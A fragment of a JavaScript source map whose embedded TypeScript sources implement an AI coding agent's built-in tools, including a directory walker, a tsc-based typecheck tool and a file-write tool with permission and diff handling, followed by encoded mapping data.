totals.totalFiles.value,\n total_dirs: totals.totalDirs.value,\n truncated: false,\n path: basePath,\n },\n };\n },\n};\n\ninterface WalkOptions {\n maxDepth: number;\n exclude: Set<string>;\n showFiles: boolean;\n showDirs: boolean;\n showHidden: boolean;\n filterGlob?: string | undefined;\n lines: string[];\n prefix: string;\n isLast: boolean;\n totalFiles: { value: number };\n totalDirs: { value: number };\n onProgress?: (() => void) | undefined;\n}\n\nasync function walkDir(dir: string, depth: number, opts: WalkOptions): Promise<void> {\n const entries = await fs\n .readdir(dir, { withFileTypes: true })\n .catch(() => [] as import('node:fs').Dirent[]);\n\n const filtered = entries.filter((e) => {\n if (!opts.showHidden && e.name.startsWith('.')) return false;\n if (opts.exclude.has(e.name)) return false;\n return true;\n });\n\n if (depth > 0) {\n const dirCount = filtered.filter((e) => e.isDirectory()).length;\n const fileCount = filtered.filter((e) => e.isFile()).length;\n opts.totalDirs.value += dirCount;\n opts.totalFiles.value += fileCount;\n opts.onProgress?.();\n }\n\n const items = filtered.sort((a, b) => {\n if (a.isDirectory() && !b.isDirectory()) return -1;\n if (!a.isDirectory() && b.isDirectory()) return 1;\n return a.name.localeCompare(b.name);\n });\n\n for (let i = 0; i < items.length; i++) {\n const entry = items[i];\n /* v8 ignore next -- i is bounded by items.length, so entry is always defined; defensive. */\n if (!entry) continue;\n const isLast = i === items.length - 1;\n const connector = opts.isLast ? ' ' : '\u2502 ';\n const branch = isLast ? '\u2514\u2500\u2500 ' : '\u251C\u2500\u2500 ';\n const displayName = entry.name + (entry.isDirectory() ? '/' : '');\n\n if (!opts.showDirs && entry.isDirectory()) continue;\n if (!opts.showFiles && entry.isFile()) continue;\n\n opts.lines.push(opts.prefix + branch + displayName);\n\n if (entry.isDirectory() && (opts.maxDepth === 0 || depth < opts.maxDepth)) {\n const childPrefix = opts.prefix + connector;\n await walkDir(path.join(dir, entry.name), depth + 1, {\n ...opts,\n prefix: childPrefix,\n isLast,\n });\n }\n }\n}\n", "import * as path from 'node:path';\nimport type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { spawnStream } from './_spawn-stream.js';\nimport { normalizeCommandOutput, safeResolve } from './_util.js';\nimport { tryLegacyCodeOperation } from './languages/legacy-bridge.js';\n\ninterface TypecheckInput {\n project?: string | undefined;\n cwd?: string | undefined;\n strict?: boolean | undefined;\n all?: boolean | undefined;\n /** Emit JSON for machine-readable output (default: false). */\n json?: boolean | undefined;\n}\n\ninterface TypecheckOutput {\n project: string;\n exit_code: number;\n errors: number;\n warnings: number;\n output: string;\n truncated: boolean;\n}\n\nexport const typecheckTool: Tool<TypecheckInput, TypecheckOutput> = {\n name: 'typecheck',\n category: 'Code Quality',\n description:\n \"Run the project's TypeScript type checker (`tsc --noEmit` or equivalent). Essential for verifying type safety before making changes or committing.\",\n usageHint:\n 'ALWAYS RUN BEFORE CONSIDERING WORK COMPLETE:\\n\\n' +\n '- Use this to catch type errors early.\\n' +\n '- In monorepos, `all: true` will check every package.\\n' +\n '- This is one of the most important quality gates in this project.\\n' +\n 'Never claim a task is done without a clean typecheck (unless the user explicitly says otherwise).',\n permission: 'confirm',\n mutating: false,\n timeoutMs: 120_000,\n capabilities: ['shell.restricted'],\n icon: 'code',\n inputSchema: {\n type: 'object',\n properties: {\n project: { type: 'string', description: 'Path to tsconfig.json (default: auto-detect)' },\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n strict: {\n type: 'boolean',\n description: 'Add --strict flag for maximum type checking (default: false)',\n },\n all: {\n type: 'boolean',\n description: 'Type-check all projects (pnpm -r) (default: false)',\n },\n json: {\n type: 'boolean',\n description: 'Emit JSON output from tsc (default: false)',\n },\n },\n },\n async execute(input, ctx, opts) {\n let final: TypecheckOutput | undefined;\n const executeStream = typecheckTool.executeStream;\n if (!executeStream) throw new Error('typecheckTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('typecheck: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<TypecheckOutput>> {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n\n // Delegate to the language planner for non-JS ecosystems (Go, Rust, PHP, C#).\n const bridge = await tryLegacyCodeOperation('semantic', {\n cwd,\n projectRoot: ctx.projectRoot,\n signal: opts.signal,\n });\n if (bridge?.run) {\n const run = bridge.run;\n yield {\n type: 'final',\n output: {\n project: `${bridge.language} workspace`,\n exit_code: run.exitCode ?? 0,\n errors: run.summary.errors,\n warnings: run.summary.warnings,\n output: normalizeCommandOutput(run.output || run.error || ''),\n truncated: run.truncated,\n },\n };\n return;\n }\n\n let args: string[];\n let project: string;\n if (input.all) {\n args = ['--noEmit'];\n project = 'workspace';\n } else {\n const tsconfig = input.project ? safeResolve(input.project, ctx) : await findTsConfig(cwd);\n args = ['--noEmit'];\n if (input.strict) args.push('--strict');\n if (tsconfig) args.push('--project', tsconfig);\n project = tsconfig ?? 'default';\n }\n if (input.json) args.push('--json');\n\n yield { type: 'log', text: `tsc ${args.join(' ')}`, data: { project } };\n\n const result = yield* spawnStream({\n cmd: 'npx',\n args: ['tsc', ...args],\n cwd,\n signal: opts.signal,\n maxBytes: 200_000,\n });\n\n const errors = [...result.stdout.matchAll(/\\berror\\b/gi)].length;\n const warnings = [...result.stdout.matchAll(/\\bwarning\\b/gi)].length;\n\n yield {\n type: 'final',\n output: {\n project,\n exit_code: result.exitCode,\n errors,\n warnings,\n output: normalizeCommandOutput(result.stdout || result.stderr || result.error || ''),\n truncated: result.truncated,\n },\n };\n },\n};\n\nasync function findTsConfig(cwd: string): Promise<string | null> {\n const { stat } = await import('node:fs/promises');\n const candidates = ['tsconfig.json', 'tsconfig.base.json'];\n for (const f of candidates) {\n try {\n const s = await stat(path.join(cwd, f));\n if (s.isFile()) return path.join(cwd, f);\n } catch {\n // continue\n }\n }\n return null;\n}\n", "import * as fs from 'node:fs/promises';\nimport { ToolValidationError } from '@wrongstack/core/types';\nimport { atomicWrite, unifiedDiff } from '@wrongstack/core/utils';\nimport type { Context } from '@wrongstack/core/agent';\nimport type { Tool } from '@wrongstack/core/types';\nimport { checkSyntax } from './_syntax-check.js';\nimport { safeResolveReal, sha256hex } from './_util.js';\n\ninterface WriteInput {\n path: string;\n content: string;\n}\n\ninterface WriteOutput {\n path: string;\n bytes_written: number;\n created: boolean;\n diff?: string | undefined;\n /**\n * Parse errors found in the written content (TS/JS/JSON only). The file is\n * on disk as written \u2014 fix these with a follow-up edit now.\n */\n syntax_errors?: string[] | undefined;\n note?: string | undefined;\n}\n\nexport const writeTool: Tool<WriteInput, WriteOutput> = {\n name: 'write',\n category: 'Filesystem',\n description:\n 'Write or completely overwrite a file on disk. ' +\n 'This is a high-privilege operation. For modifying existing files, you should almost always prefer the `edit` tool instead, ' +\n 'because `edit` is safer and works on the last-read version of the file.',\n usageHint:\n 'RULES FOR CORRECT USAGE:\\n' +\n '- Use `write` primarily for **new files** or when you want to replace the entire content.\\n' +\n '- For any existing file, strongly prefer `edit` (it requires a prior `read` in the same session and is more precise).\\n' +\n '- You MUST have called `read` on the file earlier in the conversation before using `write` on an existing path (the system enforces this for safety).\\n' +\n '- The path is resolved relative to the project root and protected against escaping the workspace.',\n selection: {\n doNotUseWhen: 'making a precise change to part of an existing file.',\n useInstead: ['edit'],\n },\n permission: 'confirm',\n mutating: true,\n timeoutMs: 5_000,\n capabilities: ['fs.write'],\n icon: 'file',\n inputSchema: {\n type: 'object',\n properties: {\n path: {\n type: 'string',\n description: 'Relative path from project root. Must not escape the project.',\n },\n content: {\n type: 'string',\n description: 'The complete new content of the file.',\n },\n },\n required: ['path', 'content'],\n },\n async execute(input, ctx, opts) {\n return writeFile(input, ctx, opts?.signal);\n },\n async *executeStream(input, ctx, opts) {\n const prepared = await prepareWrite(input, ctx);\n if (!prepared.existed) {\n for (const line of input.content.split('\\n')) {\n yield { type: 'partial_output', text: `${line}\\n`, data: { livePreview: true } };\n }\n }\n yield { type: 'final', output: await finishWrite(input, ctx, prepared, opts?.signal) };\n },\n};\n\ntype PreparedWrite = {\n absPath: string;\n existed: boolean;\n prev: string;\n};\n\nasync function writeFile(\n input: WriteInput,\n ctx: Context,\n signal?: AbortSignal | undefined,\n): Promise<WriteOutput> {\n return finishWrite(input, ctx, await prepareWrite(input, ctx), signal);\n}\n\nasync function prepareWrite(input: WriteInput, ctx: Context): Promise<PreparedWrite> {\n if (!input?.path) {\n throw new ToolValidationError({\n message: 'write: path is required',\n field: 'path',\n });\n }\n if (input.content === undefined) {\n throw new ToolValidationError({\n message: 'write: content is required',\n field: 'content',\n });\n }\n const absPath = await safeResolveReal(input.path, ctx);\n\n let existed = false;\n let prev = '';\n try {\n const stat = await fs.stat(absPath);\n existed = stat.isFile();\n if (existed) {\n if (!ctx.hasRead(absPath)) {\n // User approved this write (confirm \u2192 yes/always) but ctx has no\n // read record. The model may call write without a prior explicit\n // read. Read the file now so we can compute the diff and honor\n // the user's intent to overwrite. Tag as 'write' (NOT 'user') so\n // this internal read-for-diff does not widen the permission bypass\n // \u2014 the user never saw the old content (P1 #1).\n prev = await fs.readFile(absPath, 'utf8');\n ctx.recordRead(absPath, stat.mtimeMs, 'write', sha256hex(prev));\n } else {\n prev = await fs.readFile(absPath, 'utf8');\n }\n }\n } catch (err) {\n if ((err as NodeJS.ErrnoException).code !== 'ENOENT') {\n throw err;\n }\n }\n\n return { absPath, existed, prev };\n}\n\nasync function finishWrite(\n input: WriteInput,\n ctx: Context,\n prepared: PreparedWrite,\n signal?: AbortSignal | undefined,\n): Promise<WriteOutput> {\n // Last exit before mutating the filesystem: a run aborted during\n // prepare/diff must not leave a fresh write behind. (atomicWrite itself\n // is all-or-nothing, so past this point the file is old or new \u2014 never\n // partial.)\n signal?.throwIfAborted();\n await atomicWrite(prepared.absPath, input.content);\n\n const diff = prepared.existed\n ? unifiedDiff(prepared.prev, input.content, { fromFile: input.path, toFile: input.path })\n : `+++ ${input.path}\\n+ (new file, ${input.content.split('\\n').length} lines)`;\n\n const stat = await fs.stat(prepared.absPath);\n // Tag as 'write' so the permission bypass does not auto-approve a later\n // write to this path \u2014 the user approved THIS write, not future ones\n // (P1 #1).\n ctx.recordRead(prepared.absPath, stat.mtimeMs, 'write', sha256hex(input.content));\n\n // Record for session rewind\n ctx.session.recordFileChange({\n path: prepared.absPath,\n action: prepared.existed ? 'modified' : 'created',\n before: prepared.existed ? prepared.prev : null,\n after: input.content,\n });\n\n // Post-write syntax validation (TS/JS/JSON). The file stays on disk as\n // written \u2014 errors come back in the same turn so the model fixes them\n // before the user ever opens a broken file.\n const syntax = await checkSyntax(\n prepared.absPath,\n input.content,\n prepared.existed ? prepared.prev : undefined,\n ).catch(() => undefined);\n const hasSyntaxErrors = syntax !== undefined && syntax.errors.length > 0;\n\n return {\n path: prepared.absPath,\n bytes_written: Buffer.byteLength(input.content, 'utf8'),\n created: !prepared.existed,\n diff,\n syntax_errors: hasSyntaxErrors ? syntax.errors : undefined,\n note: hasSyntaxErrors\n ? syntax.preExisting\n ? 'Syntax check: the file still has parse errors (they pre-date this write) \u2014 see syntax_errors.'\n : `Syntax check: the written content has ${syntax.errors.length} parse error(s) \u2014 fix them now, see syntax_errors.`\n : undefined,\n };\n}\n", "import { builtinTools } from './builtin.js';\n\nexport const builtinToolsPack = {\n name: 'builtin-tools',\n description:\n 'The complete set of built-in tools that ship with WrongStack. Covers filesystem, execution, first-party browser automation, read-only E2E planning, networking, code quality, planning, and meta tools.',\n tools: builtinTools,\n};\n"],
|
|
5
|
-
"mappings": ";;;;;;;;;;;;;;;;AAwBA,SAAS,mBAAmB,iBAAmC;AAC/D,YAAY,SAAS;AACrB,YAAY,UAAU;AACtB,SAAS,wBAAwB;AAS1B,SAAS,gBAAwB;AACtC,SAAY,UAAK,iBAAiB,GAAG,aAAa;AACpD;AAOA,SAAS,mBAAmB,KAAmB;AAC7C,MAAI,aAAc;AAClB,iBAAe;AACf,QAAM,YAAY;AAChB,QAAI;AACF,YAAM,MAAM,KAAK,IAAI;AACrB,iBAAW,QAAQ,MAAU,YAAQ,GAAG,GAAG;AACzC,YAAI,CAAC,KAAK,SAAS,MAAM,EAAG;AAC5B,cAAM,IAAS,UAAK,KAAK,IAAI;AAC7B,YAAI;AACF,gBAAM,KAAK,MAAU,SAAK,CAAC;AAC3B,cAAI,MAAM,GAAG,UAAU,mBAAoB,OAAU,WAAO,CAAC;AAAA,QAC/D,QAAQ;AAAA,QAER;AAAA,MACF;AAAA,IACF,QAAQ;AAAA,IAER;AAAA,EACF,GAAG;AACL;AAoCO,SAAS,UAAU,MAAyB;AACjD,QAAM,UACJ,KAAK,eAAe,IAAI,MAAM,KAAK,YAAY,sCAAsC;AACvF,SAAO;AAAA,gCAA8B,KAAK,KAAK,aAAa,KAAK,IAAI,GAAG,OAAO;AACjF;AAEO,SAAS,kBAAkB,MAA6C;AAC7E,QAAM,YAAY,KAAK,kBAAkB;AACzC,QAAM,WAAW,KAAK,KAAK,QAAQ,qBAAqB,GAAG,EAAE,MAAM,GAAG,EAAE,KAAK;AAE7E,MAAI,OAAO;AACX,MAAI,YAAY;AAChB,MAAI,aAAa;AACjB,MAAI,eAAe;AACnB,MAAI,SAA6B;AACjC,MAAI,WAA0B;AAC9B,MAAI,SAAS;AACb,MAAI,YAAY;AAEhB,QAAMA,QAAO,MAAY;AACvB,QAAI,UAAU,OAAQ;AACtB,QAAI;AACF,YAAM,MAAM,cAAc;AAI1B,gBAAU,KAAK,EAAE,WAAW,KAAK,CAAC;AAClC,yBAAmB,GAAG;AACtB,YAAM,SAAQ,oBAAI,KAAK,GAAE,YAAY,EAAE,QAAQ,SAAS,GAAG;AAC3D,YAAM,OAAO,KAAK,OAAO,EAAE,SAAS,EAAE,EAAE,MAAM,GAAG,CAAC;AAClD,iBAAgB,UAAK,KAAK,GAAG,KAAK,IAAI,QAAQ,IAAI,IAAI,MAAM;AAC5D,eAAS,kBAAkB,UAAU,EAAE,OAAO,KAAK,UAAU,OAAO,CAAC;AACrE,aAAO,GAAG,SAAS,MAAM;AAEvB,iBAAS;AACT,iBAAS;AACT,mBAAW;AAAA,MACb,CAAC;AAED,aAAO,MAAM,IAAI;AAAA,IACnB,QAAQ;AACN,eAAS;AACT,eAAS;AACT,iBAAW;AAAA,IACb;AAAA,EACF;AAEA,SAAO;AAAA,IACL,MAAM,MAAoB;AACxB,UAAI,aAAa,CAAC,KAAM;AACxB,oBAAc,OAAO,WAAW,MAAM,MAAM;AAC5C,UAAI,CAAC,UAAU,CAAC,QAAQ;AACtB,YAAI,YAAY,KAAK,UAAU,WAAW;AACxC,kBAAQ;AACR,uBAAa,KAAK;AAClB;AAAA,QACF;AACA,gBAAQ;AACR,QAAAA,MAAK;AACL,eAAO;AACP;AAAA,MACF;AACA,UAAI,QAAQ;AACV,YAAI,OAAO,iBAAiB,uBAAuB;AACjD,0BAAgB,OAAO,WAAW,MAAM,MAAM;AAC9C;AAAA,QACF;AACA,eAAO,MAAM,IAAI;AAAA,MACnB;AAAA,IACF;AAAA,IACA,WAA6B;AAC3B,UAAI,WAAW;AACb,eAAO,WAAW,EAAE,MAAM,UAAU,OAAO,YAAY,aAAa,IAAI;AAAA,MAC1E;AACA,kBAAY;AACZ,aAAO;AACP,UAAI,CAAC,UAAU,CAAC,SAAU,QAAO;AACjC,UAAI;AACF,eAAO,IAAI;AAAA,MACb,QAAQ;AAAA,MAER;AACA,aAAO,EAAE,MAAM,UAAU,OAAO,YAAY,aAAa;AAAA,IAC3D;AAAA,EACF;AACF;AA1LA,IA6BM,oBAEA,uBAEF;AAjCJ;AAAA;AAAA;AA6BA,IAAM,qBAAqB,IAAI,KAAK,KAAK,KAAK;AAE9C,IAAM,wBAAwB,IAAI,OAAO;AAEzC,IAAI,eAAe;AAAA;AAAA;;;ACjCnB,IA6DM,kCACA,gCAIA,wBACA,mBACA,8BACA,qBAaO;AAlFb;AAAA;AAAA;AA6DA,IAAM,mCAAmC;AACzC,IAAM,iCAAiC;AAIvC,IAAM,yBAAyB;AAC/B,IAAM,oBAAoB;AAC1B,IAAM,+BAA+B;AACrC,IAAM,sBAAsB;AAarB,IAAM,iBAAN,MAAqB;AAAA,MACT;AAAA,MACA;AAAA,MACA;AAAA,MACA;AAAA,MACA;AAAA,MACA;AAAA,MAET,QAAsB;AAAA,MACtB,sBAAsB;AAAA,MACtB,SAAuB,CAAC;AAAA,MACxB,gBAA+B;AAAA,MAC/B,aAA4B;AAAA;AAAA,MAE5B,WAA0B;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAQ1B,UAAU;AAAA;AAAA;AAAA;AAAA;AAAA,MAMlB;AAAA;AAAA;AAAA;AAAA;AAAA,MAKA;AAAA,MAEA,YAAY,SAA+B,CAAC,GAAG;AAC7C,aAAK,yBAAyB,OAAO,0BAA0B;AAC/D,aAAK,sBAAsB,OAAO,uBAAuB;AACzD,aAAK,eAAe,OAAO,gBAAgB;AAC3C,aAAK,WAAW,OAAO,YAAY;AACnC,aAAK,oBAAoB,OAAO,qBAAqB;AACrD,aAAK,aAAa,OAAO,cAAc;AAAA,MACzC;AAAA;AAAA,MAGA,WAAW,SAAwB;AACjC,YAAI,KAAK,YAAY,QAAS;AAC9B,aAAK,UAAU;AACf,YAAI,CAAC,QAAS,MAAK,OAAO;AAAA,MAC5B;AAAA,MAEA,IAAI,YAAqB;AACvB,eAAO,KAAK;AAAA,MACd;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAOA,IAAI,aAAsB;AACxB,YAAI,CAAC,KAAK,QAAS,QAAO;AAC1B,aAAK,sBAAsB;AAC3B,eAAO,KAAK,UAAU;AAAA,MACxB;AAAA;AAAA;AAAA;AAAA,MAKA,WAAmC;AACjC,aAAK,sBAAsB;AAC3B,cAAM,MAAM,KAAK,IAAI;AACrB,YAAI,oBAAmC;AACvC,YAAI,KAAK,aAAa,QAAQ,KAAK,UAAU,QAAQ;AACnD,gBAAM,UAAU,MAAM,KAAK;AAC3B,8BAAoB,KAAK,IAAI,GAAG,KAAK,aAAa,OAAO;AAAA,QAC3D;AACA,eAAO;AAAA,UACL,OAAO,KAAK;AAAA,UACZ,qBAAqB,KAAK;AAAA,UAC1B,mBAAmB,KAAK,OAAO,OAAO,CAAC,MAAM,EAAE,IAAI,EAAE;AAAA,UACrD,eAAe,KAAK,OAAO;AAAA,UAC3B,UAAU,KAAK;AAAA,UACf,qBAAqB;AAAA,UACrB,eAAe,KAAK;AAAA,UACpB,YAAY,KAAK;AAAA,QACnB;AAAA,MACF;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAWA,WAAW,SAAS,OAAgB;AAClC,YAAI,UAAU,CAAC,KAAK,QAAS,QAAO;AACpC,aAAK,sBAAsB;AAC3B,YAAI,KAAK,UAAU,OAAQ,QAAO;AAClC,eAAO;AAAA,MACT;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAWA,UAAU,YAAoB,QAAiB,SAAS,OAAa;AACnE,YAAI,UAAU,CAAC,KAAK,QAAS;AAE7B,cAAM,MAAM,KAAK,IAAI;AAErB,YAAI,KAAK,UAAU,aAAa;AAE9B,cAAI,QAAQ;AACV,iBAAK,MAAM;AACX;AAAA,UACF;AAEA,eAAK,OAAO;AACZ;AAAA,QACF;AAGA,aAAK,aAAa,GAAG;AAErB,cAAM,OAAO,cAAc,KAAK;AAChC,aAAK,OAAO,KAAK,EAAE,IAAI,KAAK,QAAQ,KAAK,CAAC;AAE1C,YAAI,QAAQ;AACV,eAAK;AACL,eAAK,gBAAgB;AACrB,cAAI,KAAK,uBAAuB,KAAK,wBAAwB;AAC3D,iBAAK,MAAM;AAAA,UACb;AACA;AAAA,QACF;AAGA,aAAK,sBAAsB;AAE3B,YAAI,MAAM;AACR,eAAK,aAAa;AAClB,gBAAM,YAAY,KAAK,OAAO,OAAO,CAAC,MAAM,EAAE,IAAI,EAAE;AACpD,cAAI,aAAa,KAAK,cAAc;AAClC,iBAAK,MAAM;AAAA,UACb;AAAA,QACF;AAEA,cAAM,YAAY,KAAK,OAAO;AAC9B,YAAI,aAAa,KAAK,mBAAmB;AAIvC,eAAK,MAAM;AAAA,QACb;AAAA,MACF;AAAA;AAAA,MAGA,YAAkB;AAChB,aAAK,MAAM;AAAA,MACb;AAAA;AAAA,MAGA,aAAmB;AACjB,aAAK,OAAO;AAAA,MACd;AAAA,MAEQ,QAAc;AACpB,YAAI,KAAK,UAAU,OAAQ;AAC3B,aAAK,QAAQ;AACb,aAAK,WAAW,KAAK,IAAI;AAOzB,aAAK,SAAS,CAAC;AAEf,YAAI;AACF,eAAK,SAAS;AAAA,QAChB,QAAQ;AAAA,QAER;AAAA,MACF;AAAA,MAEQ,SAAe;AACrB,cAAM,gBAAgB,KAAK,UAAU;AACrC,aAAK,QAAQ;AACb,aAAK,sBAAsB;AAC3B,aAAK,SAAS,CAAC;AACf,aAAK,WAAW;AAGhB,YAAI,eAAe;AACjB,cAAI;AACF,iBAAK,UAAU;AAAA,UACjB,QAAQ;AAAA,UAER;AAAA,QACF;AAAA,MACF;AAAA;AAAA,MAGQ,wBAA8B;AACpC,YAAI,KAAK,UAAU,UAAU,KAAK,aAAa,KAAM;AACrD,cAAM,UAAU,KAAK,IAAI,IAAI,KAAK;AAClC,YAAI,WAAW,KAAK,YAAY;AAC9B,eAAK,QAAQ;AACb,eAAK,WAAW;AAAA,QAClB;AAAA,MACF;AAAA,MAEQ,aAAa,KAAmB;AACtC,cAAM,SAAS,MAAM,KAAK;AAC1B,aAAK,SAAS,KAAK,OAAO,OAAO,CAAC,MAAM,EAAE,MAAM,MAAM;AAAA,MACxD;AAAA,IACF;AAAA;AAAA;;;ACnTA,SAAS,qBAAqB;AAgCvB,SAAS,cAAc,KAAqB;AACjD,MAAI,SAAS;AACb,aAAW,WAAW,yBAAyB;AAC7C,aAAS,OAAO,QAAQ,SAAS,CAAC,UAAU;AAG1C,YAAM,KAAK,MAAM,QAAQ,GAAG;AAC5B,YAAM,KAAK,MAAM,OAAO,IAAI;AAC5B,YAAM,QAAQ,OAAO,KAAK,MAAM,OAAO,KAAK,MAAM,EAAE,IAAI;AACxD,UAAI,UAAU,MAAM;AAClB,cAAM,OAAO,MAAM,MAAM,GAAG,MAAM,QAAQ,cAAc,KAAK,CAAC,IAAI,CAAC;AACnE,eAAO,GAAG,IAAI;AAAA,MAChB;AAEA,UAAI,MAAM,WAAW,IAAI,GAAG;AAK1B,eAAO;AAAA,MACT;AAKA,aAAO,GAAG,MAAM,MAAM,GAAG,CAAC,CAAC;AAAA,IAC7B,CAAC;AAAA,EACH;AACA,SAAO;AACT;AA7DA,IAUM;AAVN;AAAA;AAAA;AAUA,IAAM,0BAAoC;AAAA;AAAA,MAExC;AAAA;AAAA;AAAA;AAAA,MAIA;AAAA;AAAA;AAAA;AAAA,MAIA;AAAA;AAAA,MAEA;AAAA;AAAA;AAAA,MAGA;AAAA,IACF;AAAA;AAAA;;;ACdA,SAAS,aAAa;AAEtB,YAAY,QAAQ;AA+Fb,SAAS,cAAc,KAAa,OAA6B,CAAC,GAAY;AACnF,MAAI;AACF,UAAM,QAAQ,MAAM,YAAY,CAAC,QAAQ,OAAO,GAAG,GAAG,MAAM,IAAI,GAAG;AAAA,MACjE,OAAO;AAAA,MACP,aAAa;AAAA,IACf,CAAC;AACD,QAAI,UAAU;AACd,QAAI;AACJ,UAAM,SAAS,MAAM;AACnB,UAAI,QAAS;AACb,gBAAU;AACV,UAAI,QAAS,cAAa,OAAO;AACjC,UAAI;AACF,aAAK,YAAY;AAAA,MACnB,QAAQ;AAAA,MAER;AAAA,IACF;AAMA,UAAM,GAAG,SAAS,MAAM;AACxB,UAAM,GAAG,SAAS,MAAM;AACxB,cAAU,WAAW,MAAM;AACzB,UAAI;AACF,cAAM,KAAK;AAAA,MACb,QAAQ;AAAA,MAER;AACA,aAAO;AAAA,IACT,GAAG,KAAK,IAAI,GAAG,KAAK,aAAa,yBAAyB,CAAC;AAC3D,YAAQ,QAAQ;AAChB,UAAM,MAAM;AACZ,WAAO;AAAA,EACT,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAkbO,SAAS,qBAA0C;AACxD,MAAI,CAAC,WAAW;AACd,gBAAY,IAAI,oBAAoB;AAAA,EACtC;AACA,SAAO;AACT;AA3kBA,IA+EM,kBACA,2BAsEO,qBA8aT;AApkBJ;AAAA;AAAA;AAeA;AAmCA;AA6BA,IAAM,mBAAmB;AACzB,IAAM,4BAA4B;AAsE3B,IAAM,sBAAN,MAA0B;AAAA,MACd,YAAY,oBAAI,IAA4B;AAAA,MAC5C;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAQT,kBAAkB;AAAA,MAClB,gBAAsD;AAAA,MACtD,kBAAiC;AAAA,MACjC,4BAAwD,CAAC;AAAA,MAEjE,YAAY,eAAsC;AAChD,aAAK,UAAU,IAAI,eAAe,aAAa;AAE/C,aAAK,QAAQ,SAAS,MAAM,KAAK,kBAAkB;AACnD,aAAK,QAAQ,UAAU,MAAM,KAAK,qBAAqB;AAEvD,aAAK,QAAQ,WAAW,KAAK;AAAA,MAC/B;AAAA,MAEA,SACE,MAIM;AACN,aAAK,UAAU,IAAI,KAAK,KAAK;AAAA,UAC3B,GAAG;AAAA,UACH,QAAQ;AAAA,UACR,WAAW,KAAK,aAAa;AAAA,UAC7B,YAAY,KAAK,cAAc;AAAA,QACjC,CAAC;AAAA,MACH;AAAA,MAEQ,iBAAiB,KAAsB;AAC7C,eAAO,OAAO,UAAU,GAAG,KAAK,MAAM,KAAK,QAAQ,QAAQ,OAAO,QAAQ,QAAQ;AAAA,MACpF;AAAA,MAEQ,uBAAuB,GAA4B;AACzD,eACK,YAAS,MAAM,WAClB,EAAE,uBAAuB,QACzB,KAAK,iBAAiB,EAAE,GAAG,KAC3B,OAAO,EAAE,MAAM,QAAQ,YACvB,EAAE,MAAM,QAAQ,EAAE;AAAA,MAEtB;AAAA,MAEQ,iBAAiB,GAAmB,QAA8B;AACxE,YAAI;AACF,YAAE,MAAM,KAAK,MAAM;AAAA,QACrB,QAAQ;AAAA,QAGR;AAAA,MACF;AAAA,MAEQ,WAAW,GAAmB,QAA8B;AAClE,YAAI,KAAK,uBAAuB,CAAC,GAAG;AAClC,cAAI;AACF,oBAAQ,KAAK,CAAC,EAAE,KAAK,MAAM;AAC3B;AAAA,UACF,QAAQ;AAAA,UAER;AAAA,QACF;AACA,aAAK,iBAAiB,GAAG,MAAM;AAAA,MACjC;AAAA;AAAA,MAGA,WAAW,KAAmB;AAC5B,aAAK,UAAU,OAAO,GAAG;AAAA,MAC3B;AAAA;AAAA,MAGA,IAAI,KAAyC;AAC3C,aAAK,YAAY,GAAG;AACpB,eAAO,KAAK,UAAU,IAAI,GAAG;AAAA,MAC/B;AAAA;AAAA,MAGA,OAAyB;AACvB,aAAK,eAAe;AACpB,eAAO,MAAM,KAAK,KAAK,UAAU,OAAO,CAAC;AAAA,MAC3C;AAAA;AAAA,MAGA,OAAO,MAAgC;AACrC,eAAO,KAAK,KAAK,EAAE,OAAO,CAAC,MAAM,EAAE,SAAS,IAAI;AAAA,MAClD;AAAA;AAAA,MAGA,UAAU,WAAqC;AAC7C,eAAO,KAAK,KAAK,EAAE,OAAO,CAAC,MAAM,EAAE,cAAc,SAAS;AAAA,MAC5D;AAAA;AAAA,MAGA,IAAI,cAAsB;AACxB,YAAI,IAAI;AACR,mBAAW,KAAK,KAAK,UAAU,OAAO,GAAG;AACvC,cAAI,CAAC,EAAE,OAAQ;AAAA,QACjB;AACA,eAAO;AAAA,MACT;AAAA;AAAA,MAGA,IAAI,wBAAgC;AAClC,YAAI,IAAI;AACR,mBAAW,KAAK,KAAK,UAAU,OAAO,GAAG;AACvC,cAAI,EAAE,cAAc,CAAC,EAAE,OAAQ;AAAA,QACjC;AACA,eAAO;AAAA,MACT;AAAA;AAAA;AAAA;AAAA,MAKA,QAAuB;AACrB,aAAK,eAAe;AACpB,eAAO;AAAA,UACL,aAAa,KAAK;AAAA,UAClB,iBAAiB,KAAK;AAAA,UACtB,YAAY,KAAK,UAAU;AAAA,UAC3B,SAAS,KAAK,QAAQ,SAAS;AAAA,QACjC;AAAA,MACF;AAAA;AAAA;AAAA;AAAA;AAAA,MAMA,IAAI,aAAsB;AACxB,eAAO,KAAK,QAAQ;AAAA,MACtB;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAQA,WAAW,SAAS,OAAgB;AAClC,eAAO,KAAK,QAAQ,WAAW,MAAM;AAAA,MACvC;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAQA,UAAU,YAAoB,QAAiB,SAAS,OAAa;AACnE,aAAK,QAAQ,UAAU,YAAY,QAAQ,MAAM;AAAA,MACnD;AAAA;AAAA,MAGA,mBAAyB;AACvB,aAAK,QAAQ,UAAU;AAAA,MACzB;AAAA;AAAA,MAGA,oBAA0B;AACxB,aAAK,QAAQ,WAAW;AAAA,MAC1B;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,MAcA,iBAAiB,KAAoF;AACnG,YAAI,IAAI,YAAY,OAAW,MAAK,QAAQ,WAAW,IAAI,OAAO;AAClE,YAAI,IAAI,oBAAoB,OAAW,MAAK,kBAAkB,KAAK,IAAI,GAAG,IAAI,eAAe;AAE7F,YAAI,KAAK,mBAAmB,GAAG;AAC7B,eAAK,qBAAqB;AAC1B;AAAA,QACF;AAIA